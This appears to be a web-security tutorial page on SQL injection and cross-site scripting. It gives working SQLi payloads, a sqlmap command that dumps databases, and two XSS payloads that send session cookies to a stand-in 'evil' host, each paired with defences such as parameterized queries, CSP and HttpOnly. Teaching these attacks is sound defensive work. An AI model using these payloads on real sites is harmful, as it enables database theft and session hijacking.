

SQL Injection & XSS Deep Dive

SQL Injection â€” From "Test" to Full Control

Detect: a quote (`)'`) or `1=1 --` in an input field changes the page.

Exploit chain:

`' OR '1'='1'` â€” bypass login? (auth bypass)

`' UNION SELECT 1,2,3--` â€” find output columns (union)

Enumerate DB: `SELECT table_name FROM information_schema.tables`

Read secrets: `SELECT password FROM users`

Blind (no visible output): a database reacts differently to TRUE/FALSE â€” attacker infers character by character (`SUBSTRING(password,1,1)='a'`).
SQLmap automates this:

```
sqlmap -u "http://target?id=1" --dbs --dump
```

Fix: parameterized queries; least-priv DB user; input validation as defense-in-depth (never validation as the ONLY barrier).

XSS â€” Running JavaScript in Someone Else's Browser

Reflected: input reflects back immediately (search field). One victim at a time. **Stored:** input stored and shown to every visitor (comments!). Persistent â€” mass effect. **DOM:** payload runs via client-side JavaScript, nothing circulates to server.

Impact: steal session cookie â†’ hijack the session â†’ full account takeover:

```
<script>fetch('https://evil?c='+document.cookie)</script>
```

```
<img src=x onerror="document.location='https://evil/'+document.cookie">
```

Fix (defense in depth):

Output **encoding/escaping** of context (HTML, attribute, JS)

Content Security Policy (CSP) **â€”** `default-src 'self'` blocks inline/external script

Set **HttpOnly** on cookies (JS can't read them **â€”** kills cookie-stealing)

Validate/sanitize input on server

Crown jewels both: SQLi = !server PWN; XSS = client-side PWN. Your lab should produce *and* fix both.

[← OWASP Top 10 Web Risks](#)

[SSRF, File Uploads & Auth Atta...](#)